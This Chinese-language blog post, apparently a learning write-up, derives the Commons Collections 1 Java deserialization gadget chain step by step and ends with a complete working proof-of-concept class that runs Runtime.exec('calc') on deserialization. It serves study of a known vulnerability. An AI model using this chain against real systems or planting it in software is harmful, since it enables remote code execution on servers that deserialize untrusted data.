0x00 环境
jdk版本1.8.0-65,commons collections版本3.2.1, maven如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > CC1</artifactId > <version > 1.0-SNAPSHOT</version > <packaging > jar</packaging > <name > CC1</name > <url > http://maven.apache.org</url > <properties > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > </properties > <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies > </project >
8u65源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip 需要将jdk-af660750b2f4\src\share\classes\sun复制到jdk1.8.0_65\src.zip\sun
0x01 先写一些没上传到博客里的东西。
Java要执行系统命令需要用Runtime类实例化一个对象,然后调用exec()方法。然而实例化Runtime对象也不是直接调用其构造函数,而是调用getRuntime()方法直接获取实例化对象(Java中的单例模式)。所以正确执行系统命令应该这样写
1 2 Runtime runtime = Runtime.getRuntime();runtime.exec("calc" );
而利用反序列化执行系统命令也需要这样一个执行环境,但正常的调用方式并不能在反序列化的漏洞利用中实现,因为Runtime不一定直接import到了代码中。使用反射可以动态地加载类,当然也可以动态加载Runtime类,所以我们需要将上面的代码转换成反射的方式。先用反射获取一下runtime对象
1 2 3 4 Class runtimeClass = Runtime.class;Method getRuntimeMethod = runtimeClass.getMethod("getRuntime" );Object runtime = getRuntimeMethod.invoke(null );
然后就可以继续往下执行系统命令了,只要按照正常的方式,利用反射获取方法并调用
1 2 Method execMethod = runtimeClass.getMethod("exec" , String.class);execMethod.invoke(runtime, "calc" );
0x02 找利用链的思路
入口类。这个类需要有个重写过的readObject(),并且能接收任意类型对象作为参数(即参数接收Object或者Object[])。当然,不是说有重写的必然有继续利用的可能,只是重写后的readObject()才有可能找到继续往下走的机会。
危险方法。一般当然是可调用的runtime.exec(),毕竟能执行任意命令,但不一定是代码里真的有写runtime.exec(),往往是通过代码某处可控的反射,就像上面那样,让我们有机会弹个计算器。
连接危险方法到入口类。中间需要利用的类也都必须能够反序列化,且需要接收Object或集合类型(Map、List等)作为参数。一般来说从后往前找是比较方便的,中间的连接过程一般是两个不同的类调用了同名的方法 (比如下文中的transform()方法)
0x03 CC1的启始(找危险方法)
既然是CC链,那就先了解一下Commons Collections是个什么东西吧。Collections是Apache Commons下的一个组件,是对java.util.Collections的拓展。总之就当作是一个牛逼的拓展库吧,所以很多框架会用,因此出现漏洞后也产生了不小的危害。
一切的一切,需要从Transformer这个接口讲起。查看一下Transformer接口的实现类,其中InvokeTransformer就是我们需要的可以调用危险函数的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
根据InvokerTransformer构造函数和transform方法try的代码块中的三行代码,很明显的可以用反射调用任意方法。我们需要用InvokerTransfomer重写一下原本的反射调用,因为Runtime对象不能被序列化。这里把上面的代码搬下来,方便对照。
1 2 3 4 5 Class runtimeClass = Runtime.class;Method getRuntimeMethod = runtimeClass.getMethod("getRuntime" );Object runtime = getRuntimeMethod.invoke(null );Method execMethod = runtimeClass.getMethod("exec" , String.class);execMethod.invoke(runtime, "calc" );
稍微简写一下(虽然是简写,但我觉得明显降低了代码可读性),并且修改一些部分,这边是为了方便后面的重写
1 2 3 4 Method getRuntimeMethod = Runtime.class.getMethod("getRuntime" ); Runtime runtime = (Runtime) getRuntimeMethod.invoke(null ); Method execMethod = runtimeClass.getMethod("exec" , String.class)execMethod.invoke(runtime, "calc" );
然后就是用InvokerTransformer重写一下。但是我其实摸了好几遍才弄明白,大概是Java还不够熟练吧。
1 2 3 4 Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod);InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });invokerTransformer.transform(runtime);
获取Runtime对象相当于用InvokerTransformer反射调用原本的反射相关方法,再反射得到runtime,exec()就是正常的重写了。话说本想具体分析一下这么长的语句是怎么写出来的,然后实在懒得写上来。其实就是
获取方法+执行方法。比如第一个参数传入方法名"getMethod"。然后第二个参数传入该方法的参数类型(这个和原版的getMethod一样),这个要对照一下方法的定义,比如getMethod就需要一个String和一个Class[]。再然后就是传入该方法的参数。
调用transform方法,其实有点像invoke吧,比如第一句就是要传入Runtime的类。
当然,注意到比如getMethod("getRuntime")
在改写后相当于写成了getMethod("getRuntime", null)
,因为需要严格按照获取方法的参数表传值,即使这里原本可以省略掉null。当然,可能更好的写法是依据参数类型传递空值进去?目前没发现两者有何区别。
再然后,我们还可以用一个叫做ChainedTransformer的类简化以上一长串的InvokerTransformer。从字面意思来看,这个类就是把一堆的Transformer串成一条链。
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
用一个Transformer数组接收上面new出来的一堆InvokerTransformer,然后再用ChainedTransformer调用。而ChainedTransformer的执行,先是new ChainedTransformer时将transformers的每一个存入数组,然后调用ChainedTransformer的transform()方法时,将参数作为数组第1个元素的transform()方法的参数,再将第一个的执行结果作为第二个的transform()方法的参数,以此类推到最后一个。
现在,我们成功构造了一段可序列化的危险代码,并且需要调用transform()方法。因此接下来寻找利用链,即是要寻找如何用其他类触发这个transform()。
0x05 寻找利用链
根据上面找利用链的思路,transform()正是一个方便我们串起入口类和危险方法的好东西,因为Transformer的实现类也需要实现transform()方法。我们可以在IDEA中选中transform,然后右键查找用法,可以在Maven:commons-collections:commons-collections:3.2.l
中找到17个结果,其中org.apache.commons.collections.map
包中可以找到5个结果,TransformedMap就是CC1链所需要的类了。
我们选择checkSetValue()方法的transform()调用入手
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
可以去构造函数看一下valueTransformer是个什么东西
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
这个构造函数其实就是传入一个Map对象和两个Transformer对象,分别对该map的key和value进行操作,如何操作就看你传入的Transformer对象干了什么了。但关键是这居然是个protected的构造函数,说明这个构造函数只能被自己调用,我们要找找是哪个方法调用的。可以找到一个decorate()方法
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
而且这是个静态方法,我们可以直接调用。简单试一下
1 2 3 HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
因为我们只是想调用到checkSetValue(),所以我们给valueTransformer传参就行,keyTransformer传null。然后我们还得看看什么时候会调用到checkSetValue()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
可以看到AbstractInputCheckedMapDecorator中的MapEntry类的setValue()是唯一用法,并且AbstractInputCheckedMapDecorator是TransformedMap的父类(伏笔) 。对于这个类来说,是在对Map.Entry操作,那么Entry是什么呢?其实简单说就是把键值对的关系抽象成了Entry类。写个foreach取一下我们的hashMap对象中的东西吧
1 2 3 4 5 for (Map.Entry entry : hashMap.entrySet()) { System.out.println(entry.getKey() + " " + entry.getValue()); }
所以我们也可以用同样的方式尝试调用处理过的hashMap的setValue(),就可以弹计算器了。所以我们目前的代码是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(Runtime.class); }
在entry.setValue(Runtime.class);
这句代码运行时,setValue()会跳转到trasformedMap的父类的实现,也就是上面MapEntry的setValue()方法。然后该方法运行value = parent.checkSetValue(value);
则调用TransformedMap的checkSetValue()。这样我们就已经串起来了一大部分了。所以我们接下来需要继续往上找,看看有没有什么路径能连上某个readObject(),当然最好有个readObject()的重写里直接使用了setValue(),并且传入的参数可控,这样我们就找到头了。
0x06 找到合适的readObject()了!
这就很巧了,在sun.reflect.annotation包下的AnnotationlnvocationHandler类中的readObject()就有setValue()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
这里的readObject()里实现了一个Map.Entry的遍历,里面就用到了setValue()。那么我们可不可以控制readObject()里需要的这个Map呢?让我们看看构造函数
1 2 3 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { ...... }
构造函数接收的参数包括一个Annotation(注解)泛型的Class,还有一个我们可控的Map。但是我们想实例化这个类也没那么容易
1 class AnnotationInvocationHandler implements InvocationHandler , Serializable {
这个类的定义不是public class,而没有声明为public的话,默认则是default,只有在包内才有访问权限。所以我们又得请出万能的反射,这次我们需要通过包名(最前面的package)获得类
1 2 3 4 Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true ); Object object = aihConstructor.newInstance(Override.class, transformedMap);
注意,因为构造函数也不是public,所以是getDeclaredConstructor,并且要setAccessible(true)才可以访问。然后才newInstance()获取实例。
最后,我们把所有代码串起来,然后序列化再反序列化,就可以触发了……吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object object = aihConstructor.newInstance(Override.class, transformedMap); serialize(object); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static Object unserialize (String path) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); }
0x07 还需处理的小细节
其实上面那段代码依然无法触发,但我们整个链子已经连起来了。因为前面都测试好了,其实我们只剩readObject()这里还没测试。跟进调试看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
首先第一个if就把我们弹出来了,也就是我们的memberType为null。那memberType是啥呢?其实这个for循环的前两行就已经说明了问题。
1 2 3 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);
然而我们传入的Override.class其实并没有memberType(也就是参数,很明显用的时候都是直接@Override(),并没有往括号里写什么东西),所以我们需要一个有memberType的注解,并且传入的map的key需要是这个参数名。比如我写在整个类之前的@SuppressWarnings(“all”)(当然自动语法检查挺好,关不关看情况),这个就传了个字符串all。所以我们可以把代码改成这样
1 2 3 4 5 6 7 8 HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true ); Object object = aihConstructor.newInstance(SuppressWarnings.class, transformedMap);
现在我们就满足memberType != null了。然后下一个if其实我们也可以直接通过,java.lang.Class.isInstance() 确定指定的对象是否与该类表示的对象分配兼容 ,说人话就是判断是否可以进行类型的强制转换。所以我们终于走到setValue()了,但事情仍未结束,因为这里的setValue()传入的是AnnotationTypeMismatchExceptionProxy类的对象,而我们原本希望传入的是Runtime.class。我们可以调试跟进到TransformedMap中的checkSetValue()看一下
1 2 3 4 5 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这里我们又需要一个奇怪的东西帮助。让我们看看ConstantTransformer中的transform
1 2 3 public Object transform (Object input) { return iConstant; }
真是个奇怪的方法,不管传入什么对象进去,返回的都是iConstant。诶,那是不是可以先让iConstant这个变量为Runtime.class,然后上面那里传入AnnotationTypeMismatchExceptionProxy类的对象也会返回Runtime.class,这不就成了。那么怎么控制iConstant呢?让我们看看构造函数
1 2 3 4 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; }
很好,new的时候直接传入构造函数就可以了。所以现在我们要改一下chainedTransformer
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers);
也就是在最前面加上new ConstantTransformer(Runtime.class)就可以了。现在我们再运行,就可以成功弹出计算器了。
0x08 大功告成!
最后附上整段Commons Collections 1的代码,整个代码和blog真是写得好辛苦啊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;@SuppressWarnings("all") public class CC1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "key should be \"value\", and value can be any object" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object object = aihConstructor.newInstance(SuppressWarnings.class, transformedMap); serialize(object); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static Object unserialize (String path) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); } }
0x09 后续补充
想了想还是写个流程吧,算是巩固一下
然后CC1其实还有个LazyMap的版本,也是ysoserial的CC1使用的链,本想补充在下面,但是感觉好像有点多,再单独写一个吧。
0x0a 再更新
学了一点mermaid,尝试写成流程图
graph TD;
start("AnnotationInvocationHandler.readObject()")
final("Runtime.exec()")
start -->|"memberValue.setValue(...)"| TransformedMap1["(AbstractInputCheckedMapDecorator) MapEntry.setValue()"]
TransformedMap1 -->|"parent.checkSetValue(value)"| TransformedMap2["TransformedMap.checkSetValue()"]
TransformedMap2 -->|"valueTransformer.transform(value)"| TransformedMap3["InvokerTransformer.transform()"]
TransformedMap3 -->|"method.invoke(input, iArgs)"| final